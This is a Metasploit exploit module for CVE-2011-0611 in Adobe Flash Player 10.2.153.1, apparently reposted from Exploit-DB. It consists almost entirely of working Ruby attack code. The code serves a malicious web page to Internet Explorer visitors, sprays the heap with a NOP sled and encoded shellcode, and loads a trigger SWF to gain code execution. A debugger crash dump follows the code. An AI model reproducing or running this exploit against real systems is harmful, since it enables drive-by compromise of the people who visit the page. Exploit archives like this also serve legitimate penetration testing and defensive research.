Adobe Flash Player 10.2.153.1 – SWF Memory Corruption (Metasploit)

  • 作者： Metasploit
    日期： 2011-04-16
  • 类别：
    平台：
  • 来源：https://www.exploit-db.com/exploits/17175/
  • ##
# $Id: adobe_flashplayer_flash10o.rb 12330 2011-04-16 02:09:33Z sinn3r $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::HttpServer::HTML

	def initialize(info={})
		super(update_info(info,
			'Name' => "Adobe Flash Player 10.2.153.1 SWF Memory Corruption Vulnerability",
			'Description'=> %q{
					This module exploits a vulnerability in Adobe Flash Player that was discovered, and
				has been exploited actively in the wild.By embedding a specially crafted .swf file,
				Adobe Flash crashes due to an invalid use of an object type, which allows attackers to
				overwrite a pointer in memory, and results arbitrary code execution.
			},
			'License'=> MSF_LICENSE,
			'Version'=> "$Revision: 12330 $",
			'Author' =>
				[
					'sinn3r',
				],
			'References' =>
				[
					[ 'CVE', '2011-0611' ],
					[ 'OSVDB', '71686' ],
					[ 'BID', '47314' ],
					[ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb11-07.html' ],
					[ 'URL', 'http://blogs.technet.com/b/mmpc/archive/2011/04/12/analysis-of-the-cve-2011-0611-adobe-flash-player-vulnerability-exploitation.aspx' ],
					[ 'URL', 'http://contagiodump.blogspot.com/2011/04/apr-8-cve-2011-0611-flash-player-zero.html' ],
					[ 'URL', 'http://bugix-security.blogspot.com/2011/04/cve-2011-0611-adobe-flash-zero-day.html' ],
					[ 'URL', 'http://secunia.com/blog/210' ],
				],
			'Payload'=>
				{
					'BadChars' => "\x00",
				},
			'DefaultOptions' =>
				{
					'ExitFunction' => "process",
					'InitialAutoRunScript' => 'migrate -f',
				},
			'Platform' => 'win',
			'Targets'=>
				[
					[ 'IE 6/7 on Windows XP SP3 and Windows Vista', {} ],
				],
			'Privileged' => false,
			'DisclosureDate' => "Apr 11 2011",
			'DefaultTarget'=> 0))
	end

	def on_request_uri(cli, request)

		agent = request.headers['User-Agent']
		if agent !~ /MSIE \d\.\d/ and agent !~ /NT \d\.\d/
			send_not_found(cli)
			return
		end

		if request.uri =~ /\.swf/
			print_status("Sending trigger SWF...")
			send_response(cli, @trigger, {'Content-Type'=>'application/x-shockwave-flash'} )
			return
		end

		shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
		nopsled = Rex::Text.to_unescape( [0x0c0c0c0c].pack('V') * 8 , Rex::Arch.endian(target.arch))

		swf_name= rand_text_alpha(rand(3))
		js_func_name= rand_text_alpha(rand(6) +3)
		js_var_blocks_name= rand_text_alpha(rand(6) + 3)
		js_var_shell_name = rand_text_alpha(rand(6) + 3)
		js_var_nopsled_name = rand_text_alpha(rand(6) + 3)
		js_var_index_name = rand_text_alpha(rand(6) + 3)
		js_var_padding_offset = rand_text_alpha(rand(6) + 3)
		trigger_file_name = "#{get_resource}/#{swf_name}.swf"

		html = <<-EOS
		<html>
		<head>
		<script>
		function #{js_func_name}() {
			var #{js_var_blocks_name} = new Array();
			var #{js_var_shell_name} = unescape("#{shellcode}");
			var #{js_var_nopsled_name} = unescape("#{nopsled}");
			var #{js_var_padding_offset} = #{js_var_shell_name}.length;
			while (#{js_var_nopsled_name}.length < 0x10101) { #{js_var_nopsled_name} += unescape("#{nopsled}") };
			#{js_var_nopsled_name} = #{js_var_nopsled_name}.substring(#{js_var_padding_offset}, #{js_var_nopsled_name}.length);
			#{js_var_blocks_name}[0] = #{js_var_nopsled_name} + #{js_var_shell_name};
			for (#{js_var_index_name}=1; #{js_var_index_name} < 0x802; #{js_var_index_name}++) {
				#{js_var_blocks_name}[#{js_var_index_name}] = #{js_var_blocks_name}[0].substring(0, #{js_var_blocks_name}[0].length);
			}
		}
		#{js_func_name}();
		</script>
		</head>
		<body>
		<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" width="0" height="0"
		codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab">
		<param name="movie" value="#{trigger_file_name}" />
		<embed src="https://www.exploit-db.com/exploits/17175/#{trigger_file_name}" quality="high" type="application/x-shockwave-flash"
		pluginspage="http://www.macromedia.com/go/getflashplayer">
		</embed>
		</body>
		</html>
		EOS

		html = html.gsub(/^\t\t/, "")

		print_status("Sending malicious HTML to #{cli.peerhost}:#{cli.peerport}")
		send_response(cli, html, {'Content-Type' => "text/html"} )
	end

	def exploit
		path = File.join(Msf::Config.install_root, "data", "exploits", "CVE-2011-0611.swf")
		f = File.open(path, "rb")
		@trigger = f.read(f.stat.size)
		f.close

		super
	end
end


=begin
0:000> r
eax=11111110 ebx=00000000 ecx=01d650b0 edx=00000007 esi=0013c2f0 edi=01d650b0
eip=100d01f6 esp=0013c12c ebp=0013c230 iopl=0 nv up ei pl nz na po nc
cs=001bss=0023ds=0023es=0023fs=003bgs=0000 efl=00050202
Flash10o+0xd01f6:
100d01f6 ff5008calldword ptr [eax+8]ds:0023:11111118=????????
0:000> dd ecx
01d650b011111110 00000000 00000000 00000000
01d650c000000000 00000000 00000000 00000000
01d650d000000000 00000000 00000000 00000000
01d650e000000000 00000000 00000000 00000000
01d650f000000000 00000000 00000000 00000000
01d6510000000000 00000000 00000000 00000000
01d6511000000000 00000000 00000000 00000000
01d6512000000000 00000000 00000000 00000000
=end